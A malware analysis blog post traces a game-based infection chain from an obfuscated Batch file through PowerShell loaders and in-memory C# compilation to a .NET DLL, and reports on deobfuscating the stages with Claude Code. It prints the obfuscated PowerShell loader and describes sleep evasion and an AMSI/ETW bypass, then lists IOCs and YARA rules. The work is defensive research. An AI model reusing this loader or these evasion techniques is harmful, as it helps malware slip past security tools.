Unpacking the Narrative Part 2: Batch
Part 1 - Part 2
This is the second blog in a malware analysis blog series analyzing an infection chain that starts with a game. In the previous blog post, we analyzed RenEngine Loader, a malware loader based on the Python gaming framework Ren’Py. At the end of our analysis, we found 6pGtNaMpA.bat, a 6.7 MB obfuscated Batch file. In this blog post, we will continue our analysis with this Batch file.
One of the goals of this blog series is to test malware and reverse engineering with Claude Code. In the last post, we discussed that Claude Code did not provide a lot of value, as we only encountered (slightly obfuscated) Python code. In this post we will see Claude Code start providing much more value.
Stage 3: Batch
We start off with the 6.7 MB obfuscated Batch file 6pGtNaMpA.bat. This file contains about 170k lines of code. We can safely assume not all of these are crucial, and the vast majority is junk code. On closer inspection, we see that the malware employs multiple obfuscation tricks:
- It contains thousands of junk functions (like
_WP_5hfe_DiskSpace) that are never called. Removing these, only leaves 750 lines of code. For example::_WP_5hfe_DiskSpace set "_wp5hfe_drv=%SystemDrive%" set "_wp5hfe_free=0" set "_wp5hfe_min=1024" for /f "tokens=3" %%a in ('dir /-C %_wp5hfe_drv%\ 2^>nul ^| findstr /c:"bytes free"') do ( set "_wp5hfe_free=%%a" ) set /a "_wp5hfe_mb=%_wp5hfe_free:~0,4%" if "%_wp5hfe_mb%" LSS "%_wp5hfe_min%" ( echo [ERROR] Low disk space on %_wp5hfe_drv% ) else ( echo [OK] Disk space adequate on %_wp5hfe_drv% ) exit /b 0 - Using the caret (
^) escape character to split words. In Batch,^is an escape character that is used to escape special characters (e.g.^&becomes&). However, it can also be used on non-special characters, sos^e^tis parsed asset. For example:se^t /a "_tzc=65"&se^t /a "_gy=((586 - 572) + (0x15 ^ 0xD))"&se^t /a "_ggh=31"&s^e^t /a "_ot=((28 + 3) + 8)" - There are many junk comments (lines starting with
REM). For example:R^em LxtEAJq8pEjX.iMRyWMSgyk1TYZRwDkJy6lta1hhU87tYTq2nSj7bQRdM70rzYLljZpI_i7-5u-o77c,yntektyipIhiA5x/wWJ.ui5EalBwStmVe08MvwA5rGi4BZ_,_C7kxeVQyoD.sCQ_mMDP-lQAWTXoAADBpBzQ1BnAfseGsBNo6lS5VwCb17OdGxPxlCZqTAKkoC0UHKXUFyyeyNw8.Xe+2J+ycwkqsmV6bxQS_xUrj+XX,1,XWgr/lPxfIB8apwsjd7DA-d_QD2b81nzqxMUL+aUL,1K+59B3R49Hy. -
There are many junk assignments of variables that are never used (e.g.
s^e^t /a "_wpn=(64+99)"). - The non-junk variables are built using parts of other variables. For example, a string variable
_tis created to build other strings:s^e^t "_t=qaI5iAcx9X-EOR\jN" se^t "_t=!_t!KJzg1wSh3DymUpsFQ" s^et "_t=!_t!lf/_ntZdTvV:Hu47P" s^et "_t=!_t!M208CBLre6YWGkob ." s^e^t /a "_tre=((0 + 2) + (3 + 1))" s^e^t /a "_fp=65" s^e^t /a "_clg=(0x1E ^ 0x38)" s^e^t /a "_bru=((274 + 25) - (0x60 ^ 0x173))" se^t /a "_tzc=65" se^t /a "_ggh=31" s^e^t /a "_ot=((28 + 3) + 8)" s^e^t "_oid=!_t:~%_tre%,1!!_t:~%_fp%,1!!_t:~%_clg%,1!!_t:~%_bru%,1!!_t:~%_tzc%,1!!_t:~%_ggh%,1!!_t:~%_ot%,1!"
In this example the variable _oid is set to specific characters of _t. The expression !_t:~%_tre%,1! takes a string of length 1 from _t starting at offset _tre. _tre evaluates to 6, which means that _oid starts with c, the character of _t at offset 6. If we fill in all these variables, we will see that _oid evaluates to the string conhost.
Deobfuscation
We can easily beat some of the obfuscation techniques (e.g. the caret escapes). Others will take a bit more effort (e.g. rebuilding all string substitutions). However, we can also ask Claude Code to analyze the file and produce an annotated, deobfuscated version.

Claude Code comes up with a fully deobfuscated and annotated Batch file. The deobfuscated Batch file has fully readable code that clearly explains what the Batch file does: it recovers PowerShell code from obfuscated strings and executes it.
Stage 4: PowerShell
The Batch file actually adds chunks of PowerShell code to multiple environment variables. It executes one: _nay:
try{$_iv=('Inv'+'oke');$_bt=\{\}.GetType();$_cm=$_bt.GetMethod(('Cr'+'ea'+'te'),
[type[]]@([string]));if($null -eq $_cm){throw 'nc'};$_s=$_cm.$_iv($null,@('Get-T
imeZone'));$_ec=$env:_wcw+$env:_iz+$env:_a+$env:_e+$env:_jhd;Remove-Item env:_wc
w,env:_iz,env:_a,env:_e,env:_jhd,env:_nay -Force -EA SilentlyContinue;$_e=$_cm.$
_iv($null,@($_ec));$_at=$_s.Ast.GetType();$_ebp=$_e.Ast.GetType().GetProperty(('
En'+'dBl'+'ock'));if($null -eq $_ebp){throw 'ne'};$_eb=$_ebp.GetValue($_e.Ast);i
f($null -eq $_eb){throw 'nv'};$_ebc=$_eb.GetType().GetMethod(('Co'+'py')).$_iv($
_eb,$null);if($null -eq $_ebc){throw 'nc2'};$_cs=$_at.GetConstructors();$_c=$nul
l;foreach($x in $_cs){$_p=$x.GetParameters();if($_p.Count -eq 6 -and $_p[1].Para
meterType.Name -eq ('Par'+'amBl'+'ockAst') -and $_p[4].ParameterType.Name -eq ('
Nam'+'edBl'+'ockAst')){$_c=$x;break}};if($null -ne $_c){$_r=$_c.$_iv(@($_s.Ast.E
xtent,$null,$null,$null,$_ebc,$null));$_gs=$_r.GetType().GetMethod(('Get'+'Scr'+
'ipt'+'Block'));if($null -ne $_gs){$_sb=$_gs.$_iv($_r,$null);$_sb.$_iv()}else{$_
cm.$_iv($null,@($_ec)).$_iv()}}else{$_cm.$_iv($null,@($_ec)).$_iv()}}catch{\{\}.
GetType().GetMethod(('etaerC'[-1..(-6)]-join''),[type[]]@([string])).$_iv($null,
@($_ec)).$_iv()}
We again ask Claude Code to analyze this minified, obfuscated PowerShell code. It writes an annotated, clearly readable version.
This turns out to be a minified loader of other PowerShell code, set in environment variables. It loads and executes $env:_wcw + $env:_iz + $env:_a + $env:_e + $env:_jhd.
In-Memory Compilation
The next stage is the PowerShell code recovered from the 5 environment variables. With this one simple trick, we turn these 407 lines of obfuscated PowerShell into something readable.
This second PowerShell stage performs some wild steps to execute its next stage. It starts with downloading multiple DLLs from NuGet, the .NET package manager:
| Package | Version | DLL |
|---|---|---|
system.buffers |
4.5.1 | lib/netstandard2.0/System.Buffers.dll |
system.numerics.vectors |
4.5.0 | lib/netstandard2.0/System.Numerics.Vectors.dll |
system.runtime.compilerservices.unsafe |
6.0.0 | lib/netstandard2.0/System.Runtime.CompilerServices.Unsafe.dll |
system.memory |
4.5.5 | lib/netstandard2.0/System.Memory.dll |
system.threading.tasks.extensions |
4.5.4 | lib/netstandard2.0/System.Threading.Tasks.Extensions.dll |
system.collections.immutable |
9.0.0 | lib/netstandard2.0/System.Collections.Immutable.dll |
system.text.encoding.codepages |
7.0.0 | lib/netstandard2.0/System.Text.Encoding.CodePages.dll |
system.reflection.metadata |
9.0.0 | lib/netstandard2.0/System.Reflection.Metadata.dll |
microsoft.codeanalysis.common |
4.14.0 | lib/netstandard2.0/Microsoft.CodeAnalysis.dll |
microsoft.codeanalysis.csharp |
4.14.0 | lib/netstandard2.0/Microsoft.CodeAnalysis.CSharp.dll |
The last two DLLs contain Roslyn, the .NET compiler. The other DLLs are dependencies of Roslyn. Each of these DLLs is loaded into memory.
Next, the code searches the original Batch file for two comments (i.e. lines starting with REM), containing the string qpcbzaeg. All the comments between these marker comments are concatenated into a large Base64 blob. This blob is Base64 decoded and decrypted using a simple XOR loop with key 0xF5FE2F8044592D1304AD9778775EB08DBAFD6E7B3F8C0B615758E6623DDCD13D.
The decrypted Base64 blob turns out to be C# code. This code is compiled fully in-memory, using Roslyn, into a DLL. And in turn the DLL is executed. Wild.
Stage 5: .NET
As we have the source code of the .NET DLL, we can deobfuscate and analyze it without having to look at the actual DLL. Again, Claude Code helps us turn obfuscated C# code into readable, annotated C# code.
Before continuing to the next stage, the .NET DLL performs multiple anti-analysis steps.
Command-line Scrubbing
First, when the DLL is executed, it gets a pointer to the command-line string (using GetCommandLineW) and replaces all arguments after the first one with NULL-bytes. This is a simple anti-analysis step to prevent other processes from looking at the arguments passed to the PowerShell process. It is unclear why this isn’t done earlier, because any process can inspect the full PowerShell command-line arguments when it is downloading DLLs from NuGet and compiling C# code.
Waiting
Next, the malware checks if the directory C:\WindowsSetup exists. If it does not exist, the code waits for about 48 seconds using WaitForSingleObjectFn calls.
This is a classic anti-analysis trick. As many antivirus suites and sandboxes cannot monitor a malware sample forever, malware will try to wait them out by sleeping for a short period before actually doing anything.
AMSI Bypass
And finally, before unpacking the next stage, the malware performs an Antimalware Scan Interface (AMSI) bypass. AMSI is a standardized interface that provides visibility into Windows components that run scripted languages (like PowerShell and WMI). This is useful for security software like antivirus suites to detect script-based malware (like the one we are analyzing right now).
The bypass has been well-documented online 123. In a nutshell, it sets a hardware breakpoint on two functions that are used in determining whether a PowerShell process is malicious: AmsiScanBuffer (amsi.dll) and EtwEventWrite (ntdll.dll). The malware then installs a VEH (Vectored Exception Handling) to handle the breakpoint. When the breakpoint triggers, the exception handler will make AmsiScanBuffer and EtwEventWrite immediately return that the process is not malicious. If you want to read more on how this technique works in detail, please read the linked sources.
Unpacking
When all the anti-analysis steps have successfully completed, the DLL does something similar to the PowerShell code: it searches for comments between two marker comments (this time with the comment nqblucch). The comments between these marker comments are again concatenated into a large Base64 blob and XOR decrypted with key 0x8AFD027A2E693A4BF9C739D41486ACC5CABC7B7B9EB12F4EF0AD6C8300804F22. When decrypted, this new Base64 blob turns out to be a (fully compiled) 32-bit .NET DLL that calls itself PigginFitters.dll.
PigginFitters.dll is loaded into memory and the method PigginFitters.ProcessHelper.AddPath is executed.
Conclusion
In the next blog post, we will analyze PigginFitters.dll.
As you may have noticed, Claude Code did most of the heavy lifting during this analysis. We encountered obfuscated Batch, PowerShell and C# code. Claude Code deobfuscated and annotated all of it. Could we have done this ourselves? Definitely, but we could definitely not have done it with the same speed as Claude Code. This made analyzing these samples much faster. It turned a tedious task like writing a custom Batch evaluator to deobfuscate and rebuild the obfuscated strings into a single prompt.
Using Claude Code to deobfuscate intermediate stages in a malware infection chain works especially well, because the obfuscation only serves one purpose: to make it harder to get to the next stage. There is little value in fully understanding and manually unpacking it ourselves, because there is no deeper meaning to the code, it’s just an anti-analysis trick.
The most impressive part is the interpretation of the deobfuscated code. Claude Code not only deobfuscated the code but also adds comments to explain its meaning. Comments like these really help speed up the analysis process:
//--------------------------------------------------------------------------
// AMSI / ETW bypass state.
//
// The vectored exception handler installed in InstallAmsiEtwBypass() fires
// on a SEH from inside AmsiScanBuffer or EtwEventWrite. Both are armed by
// setting them as hardware breakpoints via Dr0/Dr1 in NtContinue's CONTEXT.
// When a breakpoint fires, the VEH callback rewrites the CONTEXT so the
// function "returns" cleanly (RAX=0 on x64, EAX=0 on x86) without ever
// executing its real prologue. Cleanup() disarms the breakpoints and
// removes the handler on every return path.
//--------------------------------------------------------------------------
Did Claude Code perform perfect deobfuscation? No, it definitely made mistakes. Initially, it was probably ~90% correct. The mistakes it made were mostly in small details and did not have a serious impact on the larger deobfuscation. When we noticed a mistake or ambiguity in the deobfuscation, asking Claude Code to verify and fix the mistake often resolved it. This does, of course, require that we ourselves read and understand the output of Claude Code to catch the errors. Claude Code significantly speeds up the analysis, but it does not replace it.
IOCs
All files are uploaded to VirusTotal and MalShare.
| Filename | 6pGtNaMpA.bat |
| Description | The payload of the RenEngine Loader. |
| SHA256 | 777ef76e1e8ee5c621d22e17147f3b37efc7b4e3d8b5403eaa5f289d665f113a |
| Description | _nay PowerShell code that loads other PowerShell code. |
| SHA256 | 863aff6c6156cb2169b6629bf0a1979fed800cf4d6dfb37cc6c9fedac0c8ffd3 |
| Description | _wcw + _iz + _a + _e + _jhd PowerShell code that compiles the C# code |
| SHA256 | a7faf7396210b1542c999fb46fa1fc00c949b4e41152da00d7edb79783105ad9 |
| Description | C# code |
| SHA256 | 7914762aeb7e2288f551f14b244443d052013f4e3d659eaa542f3e2d13e23ede |
YARA Rules
rule UNPACKINGTHENARRATIVE_BATCH {
meta:
author = "Joren Vrancken"
description = "Detects 6pGtNaMpA.bat"
hash = "777ef76e1e8ee5c621d22e17147f3b37efc7b4e3d8b5403eaa5f289d665f113a"
strings:
$set = "s^e^t"
$rem = "REM === Network Diagnostics ==="
condition:
#set > 100 and #rem > 100
}
rule UNPACKINGTHENARRATIVE_POWERSHELL_LOADER {
meta:
author = "Joren Vrancken"
description = "Detects the PowerShell loader loaded by 6pGtNaMpA.bat"
hash = "863aff6c6156cb2169b6629bf0a1979fed800cf4d6dfb37cc6c9fedac0c8ffd3"
strings:
$ = "(('etaerC'[-1..(-6)]-join'')"
$ = "$_bt.GetMethod(('Cr'+'ea'+'te')"
$ = "$env:_wcw+$env:_iz+$env:_a+$env:_e+$env:_jhd"
condition:
any of them
}
rule UNPACKINGTHENARRATIVE_POWERSHELL_CSHARP_COMPILER {
meta:
author = "Joren Vrancken"
description = "Detects the PowerShell that compiles the C# code"
hash = "a7faf7396210b1542c999fb46fa1fc00c949b4e41152da00d7edb79783105ad9"
strings:
$ = "F5FE2F8044592D1304AD9778775EB08DBAFD6E7B3F8C0B615758E6623DDCD13D"
$ = "Remove-Variable _bd,_rs,_ps,_h -EA SilentlyContinue"
$ = "for($ei=1;$ei -lt $emPrms.Length;$ei++)"
condition:
any of them
}
rule UNPACKINGTHENARRATIVE_CSHARP {
meta:
author = "Joren Vrancken"
description = "Detects the C# code"
hash = "7914762aeb7e2288f551f14b244443d052013f4e3d659eaa542f3e2d13e23ede"
strings:
$ = "\"nqblucch\""
$ = "0x8A,0xFD,0x02,0x7A,0x2E,0x69,0x3A,0x4B,0xF9,0xC7,0x39,0xD4,0x14,0x86,0xAC,0xC5"
$ = "\"PigginFitters.ProcessHelper\""
$ = "Marshal.WriteInt64(_vzd"
condition:
2 of them
}